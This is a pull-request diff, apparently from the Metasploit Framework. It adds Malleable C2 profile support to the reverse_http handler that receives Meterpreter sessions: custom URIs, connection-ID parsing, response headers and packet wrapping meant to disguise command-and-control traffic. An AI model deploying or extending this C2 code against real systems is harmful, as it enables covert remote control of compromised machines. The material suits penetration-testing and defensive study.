Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
25 commits
Select commit Hold shift + click to select a range
5025992
First pass of TLV-based configuration and MC2
OJ Jul 7, 2025
3ccd8e5
"Working" C2 sessions with diff GET/POST uris
OJ Jul 10, 2025
fe7705d
Payload wrapping support and more
OJ Jul 15, 2025
f2d3120
Add C2 packet support to the stageless transition
OJ Jul 16, 2025
2d7f8b4
Tidy and refactor of some C2 code
OJ Jul 16, 2025
300d16e
Wire in support for C2 profiles in the x64 payload
OJ Jul 16, 2025
71d943d
Small code tidy
OJ Jul 17, 2025
42b027d
Small fix for non-c2 profile payloads
OJ Jul 17, 2025
d589da9
C2 profile persistence and better UUID handling
OJ Jul 23, 2025
c571e7d
Remove query string from POST request body
OJ Jul 24, 2025
5def53e
Change support for connection IDs in the HTTP server
OJ Jul 24, 2025
76954a6
Push CID finding into reverse_http
OJ Jul 24, 2025
fa5881e
Fix C2 config timeout generation
OJ Jul 28, 2025
bbdf45a
Fix transport comment TLV generation/handling
OJ Jul 28, 2025
6496e7f
Re-add the overridden body property in the HTTP packet
OJ Jul 28, 2025
f82fe8e
Prepends should not be reversed
OJ Jul 28, 2025
1abbb70
Fixes as per discussion
OJ Jul 29, 2025
f93d308
Add C2 custom header support in responses
OJ Jul 29, 2025
ba5e097
Revert previous change to cid extraction
OJ Jul 30, 2025
2c4eaff
Support encoding/decoding of data from C2 profile
OJ Jul 30, 2025
8c4f7fa
Support escaped double-quote
OJ Jul 30, 2025
b2eb7f5
Fix old payloads
zeroSteiner Sep 23, 2025
7fc3448
Handle IPv6 addresses in the URL
zeroSteiner Sep 26, 2025
56d6498
Switch PROXY_HOST to PROXY_URL which is more accurate
zeroSteiner Sep 26, 2025
dfd2160
Ensure slashes are where they need to be
zeroSteiner Oct 1, 2025
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
135 changes: 101 additions & 34 deletions lib/msf/core/handler/reverse_http.rb
Original file line number Diff line number Diff line change
Expand Up @@ -70,8 +70,7 @@ def initialize(info = {})
OptString.new('HttpUserAgent',
'The user-agent that the payload should use for communication',
default: Rex::UserAgent.random,
aliases: ['MeterpreterUserAgent'],
max_length: Rex::Payloads::Meterpreter::Config::UA_SIZE - 1
aliases: ['MeterpreterUserAgent']
),
OptString.new('HttpServerName',
'The server header that the handler will send in response to requests',
Expand Down Expand Up @@ -180,28 +179,49 @@ def scheme
(ssl?) ? 'https' : 'http'
end

def construct_luri(base_uri)
return nil unless base_uri

u = base_uri.dup

while u[-1] == '/'
u.chop!
end

u
end

# The local URI for the handler.
#
# @return [String] Representation of the URI to listen on.
def luri
l = datastore['LURI'] || ""

if l && l.length > 0
# strip trailing slashes
while l[-1, 1] == '/'
l = l[0...-1]
end
construct_luri(datastore['LURI'] || '')
end

# make sure the luri has the prefix
if l[0, 1] != '/'
l = "/#{l}"
end
def all_uris
all = ["#{luri}/"]

if self.c2_profile
uris = self.c2_profile.uris.map {|u| construct_luri(u)}
all.push(*uris)
end

l.dup
all
end

def c2_profile
unless @c2_profile_parsed
profile_path = datastore['MALLEABLEC2'] || ''
unless profile_path.empty?
parser = Msf::Payload::MalleableC2::Parser.new
@c2_profile_instance = parser.parse(profile_path)
end
c2_profile_parsed = true
end
@c2_profile_instance
end


# Create an HTTP listener
#
# @return [void]
Expand Down Expand Up @@ -239,11 +259,15 @@ def setup_handler
self.service.server_name = datastore['HttpServerName']

# Add the new resource
service.add_resource((luri + "/").gsub("//", "/"),
'Proc' => Proc.new { |cli, req|
on_request(cli, req)
},
'VirtualDirectory' => true)
all_uris.each {|u|
#r = (u + "/").gsub("//", "/")
r = u.gsub("//", "/")
service.add_resource(r,
'Proc' => Proc.new { |cli, req|
on_request(cli, req)
},
'VirtualDirectory' => true)
}

print_status("Started #{scheme.upcase} reverse handler on #{listener_uri(local_addr)}")
lookup_proxy_settings
Expand All @@ -253,13 +277,47 @@ def setup_handler
end
end

def find_resource_id(cli, request)
if request.method == 'POST'
directive = self.c2_profile&.http_post&.client&.id&.parameter
cid = request.qstring[directive[0].args[0]] if directive && directive.length > 0
unless cid
directive = self.c2_profile&.http_post&.client&.id&.header
cid = request.headers[directive[0].args[0]] if directive && directive.length > 0
end
else
directive = self.c2_profile&.http_get&.client&.metadata&.parameter
cid = request.qstring[directive[0].args[0]] if directive && directive.length > 0
unless cid
directive = self.c2_profile&.http_get&.client&.metadata&.header
cid = request.headers[directive[0].args[0]] if directive && directive.length > 0
end
end

request.conn_id = cid || request.resource.split('?')[0].split('/').compact.last
end

def add_response_headers(req, resp)
if req.method == 'GET'
headers = self.c2_profile&.http_get&.server&.header || []
headers.each {|h| resp[h.args[0]] = h.args[1]}
elsif req.method == 'POST'
headers = self.c2_profile&.http_post&.server&.header || []
headers.each {|h| resp[h.args[0]] = h.args[1]}
end
end

#
# Removes the / handler, possibly stopping the service if no sessions are
# active on sub-urls.
#
def stop_handler
if self.service
self.service.remove_resource((luri + "/").gsub("//", "/"))
all_uris.each {|u|
#r = (u + "/").gsub("//", "/")
r = u.gsub("//", "/")
self.service.remove_resource(r)
}
self.service.deref
self.service = nil
end
Expand Down Expand Up @@ -314,23 +372,27 @@ def lookup_proxy_settings
def on_request(cli, req)
Thread.current[:cli] = cli
resp = Rex::Proto::Http::Response.new
info = process_uri_resource(req.relative_resource)
uuid = info[:uuid]

req.conn_id = find_resource_id(cli, req) unless req.conn_id

if req.conn_id
info = process_uri_resource(req.conn_id)
uuid = info[:uuid]
conn_id = req.conn_id
end

if uuid
# Configure the UUID architecture and payload if necessary
uuid.arch ||= self.arch
uuid.platform ||= self.platform

conn_id = luri
request_summary = "#{luri} with UA '#{req.headers['User-Agent']}'"

if info[:mode] && info[:mode] != :connect
conn_id << generate_uri_uuid(URI_CHECKSUM_CONN, uuid)
else
conn_id << req.relative_resource
conn_id = conn_id.chomp('/')
conn_id = generate_uri_uuid(URI_CHECKSUM_CONN, uuid)
end

request_summary = "#{conn_id} with UA '#{req.headers['User-Agent']}'"
conn_id.chomp!('/')

# Validate known UUIDs for all requests if IgnoreUnknownPayloads is set
if framework.db.active
Expand Down Expand Up @@ -368,16 +430,17 @@ def on_request(cli, req)
# Process the requested resource.
case info[:mode]
when :init_connect
print_status("Redirecting stageless connection from #{request_summary}")
print_status("Redirecting stageless connection from #{request_summary} to #{conn_id}")

# Handle the case where stageless payloads call in on the same URI when they
# first connect. From there, we tell them to callback on a connect URI that
# was generated on the fly. This means we form a new session for each.

# Hurl a TLV back at the caller, and ignore the response
pkt = Rex::Post::Meterpreter::Packet.new(Rex::Post::Meterpreter::PACKET_TYPE_RESPONSE, Rex::Post::Meterpreter::COMMAND_ID_CORE_PATCH_URL)
pkt.add_tlv(Rex::Post::Meterpreter::TLV_TYPE_TRANS_URL, conn_id + "/")
pkt = Rex::Post::Meterpreter::Packet.new(Rex::Post::Meterpreter::PACKET_TYPE_RESPONSE, Rex::Post::Meterpreter::COMMAND_ID_CORE_PATCH_UUID)
pkt.add_tlv(Rex::Post::Meterpreter::TLV_TYPE_C2_UUID, conn_id.gsub(/\//, ''))
resp.body = pkt.to_r
resp.body = self.c2_profile.wrap_outbound_get(resp.body) if self.c2_profile

when :init_python, :init_native, :init_java, :connect
# TODO: at some point we may normalise these three cases into just :init
Expand All @@ -386,6 +449,7 @@ def on_request(cli, req)
print_status("Attaching orphaned/stageless session...")
else
begin
# TODO: do we need to handle C2 profiles here?
blob = self.generate_stage(url: url, uuid: uuid, uri: conn_id)
blob = encode_stage(blob) if self.respond_to?(:encode_stage)
# remove this when we make http payloads prepend stage sizes by default
Expand All @@ -406,7 +470,7 @@ def on_request(cli, req)
end
end

create_session(cli, {
session_opts = {
:passive_dispatcher => self.service,
:dispatch_ext => [Rex::Post::Meterpreter::HttpPacketDispatcher],
:conn_id => conn_id,
Expand All @@ -416,9 +480,12 @@ def on_request(cli, req)
:retry_total => datastore['SessionRetryTotal'].to_i,
:retry_wait => datastore['SessionRetryWait'].to_i,
:ssl => ssl?,
:payload_uuid => uuid
})
:payload_uuid => uuid,
:c2_profile => self.c2_profile,
:debug_build => datastore['MeterpreterDebugBuild'] || false,
}

create_session(cli, session_opts)
else
unless [:unknown, :unknown_uuid, :unknown_uuid_url].include?(info[:mode])
print_status("Unknown request to #{request_summary}")
Expand Down
2 changes: 0 additions & 2 deletions lib/msf/core/opt.rb
Original file line number Diff line number Diff line change
Expand Up @@ -85,11 +85,9 @@ def self.http_proxy_options
),
OptString.new('HttpProxyUser', 'An optional proxy server username',
aliases: ['PayloadProxyUser'],
max_length: Rex::Payloads::Meterpreter::Config::PROXY_USER_SIZE - 1
),
OptString.new('HttpProxyPass', 'An optional proxy server password',
aliases: ['PayloadProxyPass'],
max_length: Rex::Payloads::Meterpreter::Config::PROXY_PASS_SIZE - 1
),
OptEnum.new('HttpProxyType', 'The type of HTTP proxy',
enums: ['HTTP', 'SOCKS'],
Expand Down
Loading
Loading